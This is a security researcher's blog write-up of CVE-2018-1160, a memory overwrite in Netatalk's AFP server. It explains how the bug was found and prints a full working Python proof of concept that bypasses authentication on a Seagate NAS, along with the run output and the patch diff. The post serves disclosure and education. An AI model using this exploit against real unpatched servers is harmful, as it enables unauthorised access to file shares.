Exploiting an 18 Year Old Bug

Jacob Baines
Tenable TechBlog
Published in
11 min readDec 21, 2018

Starting at the End

Recently, I found and disclosed CVE-2018–1160. This really old bug in Netatalk allows remote unauthenticated attackers to overwrite some struct data. I leveraged this bug to bypass authentication and gain full control of the AFP volumes. This blog is about finding and exploiting the bug. If that doesn’t sound interesting then you probably won’t like this proof of concept video either.

Netatalk?

Netatalk is an implementation of the Apple Filing Protocol (AFP). The project itself is quite old. The first import into Sourceforge dates back to 2000, but the project itself is still older than that. This is a comment in main.c:

/*
* Copyright © 1990,1993 Regents of The University of Michigan.
* All Rights Reserved. See COPYRIGHT.
*/

Netatalk isn’t nearly as popular as it used to be. Other network file sharing protocols have eclipsed AFP in popularity (I’m looking at you SMB). However, Netatalk still sees a respectable amount of downloads on Sourceforge, and it has a package in the official repository of a number of Linux distros. I also found Netatalk on a whole lot of routers and NAS. So it’s still chugging along.

I’d love to tell you there are a billion Netatalk servers on Shodan. Unfortunately, Shodan doesn’t scan for AFP. So you’ll just have to believe me when I say, “There are totally people that use this.”

A Bug You Say?

Netatalk has a mistake that has gone unnoticed, as far as I can tell, since the original import into Sourceforge back in 2000.

The mistake is actually quite simple. Here’s how it looks in Netatalk 3.1.11:

/* parse options */
while (i < dsi->cmdlen) {
switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
memcpy(&dsi->attn_quantum, dsi->commands + i + 1,
dsi->commands[i]);
dsi->attn_quantum = ntohl(dsi->attn_quantum);
case DSIOPT_SERVQUANT: /* just ignore these */
default:
i += dsi->commands[i] + 1; /*forward past length tag + length */
break;
}
}

Do you see it? Probably not. I’ve withheld crucial information. What if I told you that dsi->attn_quantum a 4 byte integer and dsi->commands is attacker controlled? Now do you see it?

Look at the memcpy. Two attacker controlled parameters are used to copy data into an integer. An attacker controls the the source (dsi->commands + i + 1) and the size (dsi->commands[i]). Because dsi->commands is a char array the size parameter is limited to a maximum value of 255.

Before you start reaching for your “AAAAAAAAAAAAAAAAAAAAAAAA”, let’s check what we can actually overwrite. From include/libatalk/dsi.h:

#define DSI_DATASIZ       65536/* child and parent processes might interpret a couple of these
* differently. */
typedef struct DSI {
struct DSI *next; /* multiple listening addresses */
AFPObj *AFPobj;
int statuslen;
char status[1400];
char *signature;
struct dsi_block header;
struct sockaddr_storage server, client;
struct itimerval timer;
int tickle; /* tickle count */
int in_write;

int msg_request; /* pending message to the client */
int down_request; /* pending SIGUSR1 down in 5 mn */
uint32_t attn_quantum, datasize, server_quantum;
uint16_t serverID, clientID;
uint8_t *commands; /* DSI recieve buffer */
uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */
size_t datalen, cmdlen;
...

Due to the massive black hole located in the data array, we can only overwrite datasize, server_quantum, serverID, clientID, the commands pointer, and partially into data.

Talk “Taint Analysis” to Me

People always want to know, “How did you find that bug?” They want to hear, “taint analysis.” They sigh when they hear, “intermediate language.” They beg to see the seed corpus. They’re dying to hear about your cutting edge research.

I found this bug on a 3 hour flight from Austin to Philadelphia. I was flying home from a meeting and planned poorly. I didn’t have much to do. I had the Netatalk source on my laptop for a NAS project I was hoping to get around to. I just started reading the source at main.

How’s that for fancy research?

POC || GTFO

Trust, but verify. I get it.

A unique property of this vulnerability is that one of the overwritten variables, server_quantum, gets reflected back to the attacker. Check this out, the following will send a well formed DSI Open Session request to the server.

import socket
import struct
import sys
if len(sys.argv) != 3:
sys.exit(0)
ip = sys.argv[1]
port = int(sys.argv[2])
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + ip + ":" + sys.argv[2]
sock.connect((ip, port))
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += "\x04" # length
dsi_opensession += "\x00\x00\x40\x00" # client quantum
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
sock.sendall(dsi_header)try:
resp = sock.recv(1024)
print "[+] Fin."
except:
print "[-] No response!"

The server response contains a “quantum” value that’s originally defined in a configuration file. In the Wireshark screenshot, you can see the quantum value is advertised as 0x100000 or 1048576.

Let’s overwrite that value. We just update our dsi_opensession payload to provide a length (0x0c) that will write beyond the integer.

dsi_opensession = "\x01" # attention quantum option
dsi_opensession += "\x0c" # length (/)o,,o(/)
dsi_opensession += "\x00\x00\x40\x00" # client quantum
dsi_opensession += '\x00\x00\x00\x00' # overwrites datasize
dsi_opensession += struct.pack("I", 0xdeadbeef) # overwrites server_quantum

Now the response shows 0xdeadbeef to be the server’s quantum value.

Hello? Execution control, please.

Reflecting an overwritten value is neat and all, but it’s just not useful. We want execution control. We need a path forward. But our options are limited. Of the five variables we can overwrite only commands seems to have any promise.

The Life and Times of Commands Pointer

The life of the commands pointer begins shortly after a new connection is forked to its own process. A chunk of heap memory is allocated and assigned to commands when the dsi struct is initialized. Every incoming AFP message is written into the commands pointer before being processed by Netatalk’s AFP functions. The commands memory isn’t freed from existence until shortly after the connection is terminated and just before the process exits.

commands passes through the system based on a global jump table pointer defined in etc/afpd/switch.c called afp_switch. afp_switch points to a jump table that contains 255 entries. Each entry is either NULL (not implemented) or a function that processes the AFP data in commands.

afp_switch points to one of two versions of the jump table. One is called preauth_switch and it contains the only four functions that unauthenticated users can invoke. preauth_switch is the default afp_switch table. The second jump table is postauth_switch, and it gets swapped into afp_switch after the user has authenticated.

Here is the (simplified) logic for calling jump table functions from etc/afpd/afp_dsi.c:

function = (u_char) dsi->commands[0];if (afp_switch[function]) {
err = (*afp_switch[function])(obj,
(char *)dsi->commands, dsi->cmdlen,
(char *)&dsi->data, &dsi->datalen);
} else {
LOG(log_maxdebug, logtype_afpd, "bad function %X", function);
dsi->datalen = 0;
err = AFPERR_NOOP;
}

So What Do We Have Here?

Seems to me that we have a “write anything anywhere” vulnerability on our hands. This should be easy! Just follow these four easy steps:

  1. Overwrite the commands pointer with the address of our choice.
  2. Write to that address using AFP packets.
  3. Hand waving.
  4. Execution control!

The question becomes, “What address do we write to?” That is indeed a difficult question and one we might not always be able to answer. For example, on Ubuntu, where ASLR is enabled by default, the official Netatalk package has been compiled to be position independent. We don’t know any addresses ahead of time. In that case, we don’t have enough information to move forward.

But “when reason fails, the devil helps!” Enter stage right, embedded systems.

For the remainder of this blog I’ll be focusing on a specific Seagate NAS. It isn’t that the NAS is a horrific security abomination or anything. Seagate simply made one little oversight: they didn’t compile Netatalk as a position independent executable. That’s all we need.

preauth_switch: I Choose You!

We want to overwrite the commands pointer with the preauth_switch address. Did I jump ahead there? Here is why:

  1. preauth_switch is a mostly empty table of functions.
  2. The client decides which preauth_switch function to invoke via the AFP packet.
  3. The client doesn’t need to be authenticated to invoke a preauth_switch function.

The first challenge is finding the preauth_switch address. The preauth_switch, unlike the postauth_switch, only has local linkage. That means if the binary is stripped then the preauth_switch symbol will be removed from the symbol table. Here are two examples:

albinolobster@ubuntu:~$ readelf -s afpd.netgear | grep "auth_switch"
493: 00083d5c 1024 OBJECT GLOBAL DEFAULT 22 postauth_switch
176: 000166e8 596 FUNC LOCAL DEFAULT 11 set_auth_switch
798: 0008395c 1024 OBJECT LOCAL DEFAULT 22 preauth_switch
2572: 00083d5c 1024 OBJECT GLOBAL DEFAULT 22 postauth_switch
albinolobster@ubuntu:~$ readelf -s afpd.seagate | grep "auth_switch"
313: 000000000063ae40 2048 OBJECT GLOBAL DEFAULT 24 postauth_switch
albinolobster@ubuntu:~$

In the binary I extracted from a Netgear device, you can see that we can easily pull out the preauth_switch address (0x8395c). However, the Seagate binary is stripped so we need to look a scratch deeper. Pop open your favorite disassembler and locate afp_switch.

You can see that preauth_switch starts at 0x63b660.

Look at Me, I’m the preauth_switch Now

What do we write into the preauth_switch? How about a function that requires authentication? We’ll prove that we can control the execution flow and bypass authentication. A good candidate is afp_getsrvrinfo. afp_getsrvinfo is just like DSI GetStatus except over authenticated AFP.

We can find afp_getsrvinfo in the sixteenth entry of the postauth_switch.

To execute this plan we need to update our script to overwrite the command pointer with the preauth_switch address (0x63b600).

dsi_payload = "\x00\x00\x40\x00" # client quantum
dsi_payload += '\x00\x00\x00\x00' # overwrites datasize
dsi_payload += struct.pack("I", 0xdeadbeef) # overwrite quantum
dsi_payload += struct.pack("I", 0xfeedface) # overwrite ids
dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += struct.pack("B", len(dsi_payload)) # length
dsi_opensession += dsi_payload

Each subsequent AFP request after on the same connection will be written to 0x63b660. As such, we just need to figure out which table index we want to write the address of afp_getsrvrinfo to. We know that the first byte of the AFP message is the command and the command is used to do the table lookup.

We can’t write the afp_getsrvrinfo address to table index 0 since the index is partially used up by the command byte. But index 1, starting 8 bytes into the table, is open. If we write the afp_getsrvrinfo address into index 1 then we should be able to invoke it by setting our AFP requests command byte to 1.

We haven’t yet learned the afp_getsrvrinfo address though. Let’s remedy that.

albinolobster@ubuntu:~$ readelf -a afpd.seagate | grep getsrvrinfo
241: 00000000004295f0 55 FUNC GLOBAL DEFAULT 13 afp_getsrvrinfo

Finally, we construct the AFP message that will invoke afp_getsvrinfo. The dsi_header portion looks almost exactly as before except we need to update the second byte to indicate the payload is an AFP command. Also, we need to increment the request ID. The afp_command starts with a 1 like we talked about above and then pads until we can write the address for afp_getsvrinfo in the tables second entry.

afp_command = "\x01" # invoke the second entry in the table
afp_command += "\x00" # protocol defined padding
afp_command += "\x00\x00\x00\x00\x00\x00" # pad out the first entry
afp_command += struct.pack("Q", 0x4295f0) # address to jump to
dsi_header = "\x00" # "request" flag
dsi_header += "\x02" # "AFP" command
dsi_header += "\x00\x02" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(afp_command))
dsi_header += '\x00\x00\x00\x00' # reserved
dsi_header += afp_command

This is sort of an overly large mess for a blog, but here is what the entire script looks like in the end:

import socket
import struct
import sys
if len(sys.argv) != 3:
sys.exit(0)
ip = sys.argv[1]
port = int(sys.argv[2])
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + ip + ":" + sys.argv[2]
sock.connect((ip, port))
dsi_payload = "\x00\x00\x40\x00" # client quantum
dsi_payload += '\x00\x00\x00\x00' # overwrites datasize
dsi_payload += struct.pack("I", 0xdeadbeef) # overwrites quantum
dsi_payload += struct.pack("I", 0xfeedface) # overwrites the ids
dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += struct.pack("B", len(dsi_payload)) # length
dsi_opensession += dsi_payload
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
sock.sendall(dsi_header)
resp = sock.recv(1024)
print "[+] Open Session complete"
afp_command = "\x01" # invoke the second entry in the table
afp_command += "\x00" # protocol defined padding
afp_command += "\x00\x00\x00\x00\x00\x00" # pad out the first entry
afp_command += struct.pack("Q", 0x4295f0) # address to jump to
dsi_header = "\x00" # "request" flag
dsi_header += "\x02" # "AFP" command
dsi_header += "\x00\x02" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(afp_command))
dsi_header += '\x00\x00\x00\x00' # reserved
dsi_header += afp_command
print "[+] Sending get server info request"
sock.sendall(dsi_header)
resp = sock.recv(1024)
print resp
print "[+] Fin."

Nothing left to do now but test it!

albinolobster@ubuntu:~$ python afp_srvrinfo.py 192.168.88.252 548
[+] Attempting connection to 192.168.88.252:548
[+] Open Session complete
[+] Sending get server info request
�,W��]
Netatalk3.1.8AFP2.2AFPX03AFP3.1AFP3.2AFP3.3AFP3.4No User AuthentDHX2 DHCAST128Cleartxt Passwrd�������@��@X4@@Ѐ���r�"�@A@A@A@I$@UT�]t>��� @���@�@��?������������������������������������������������������������?���������@��?�����4���b8�eQ�x����5
Seagate-DP2
[+] Fin.

Success!

What? Failed to render UTF-8 characters don’t look like success to you? Well, you’re wrong. This is what success looks like. This is exactly what we expect from the afp_getsvrinfo command. We just didn’t implement the parsing.

Notice, in the screenshot below, that Wireshark thinks we’re executing the afp_bytelock function (postauth_switch table entry 1). Wireshark also fails to parse the payload because… well, the payload isn’t from afp_bytelock.

You’re in the Butter Zone Now

The full exploit is more complicated than all that. We need to make room for parameter passing and implement AFP message parsing. But that’s all rather tedious. I assure you, it was no fun to code. I’m certain it would be less fun to blog. If you’re interested though, you can find the full exploit on our GitHub.

Patch Notes

The Netatalk developers released a larger patch to fix this issue, but the most important part is highlighted below. Just a simple length check is all that was needed.

case DSIOPT_ATTNQUANT:
- memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
+ if (option_len != sizeof(dsi->attn_quantum)) {
+ LOG(log_error, logtype_dsi, "option %"PRIu8" bad length: %zu",
+ cmd, option_len);
+ exit(EXITERR_CLNT);
+ }
+ memcpy(&dsi->attn_quantum, &dsi->commands[i], option_len);

I mentioned previously that this memcpy error appears to predate Netatalk’s import into Sourceforge. However, I was trying to exploit a Netatalk 2.2.5 (released in 2013) on a Netgear router and it wasn’t working. It turns out that the DSI struct was altered in Netatalk 3.0.1 (released in 2012) but not backported to 2.x. The change allows us to overwrite the commands pointer.

Isn’t git blame just wonderful?

--

--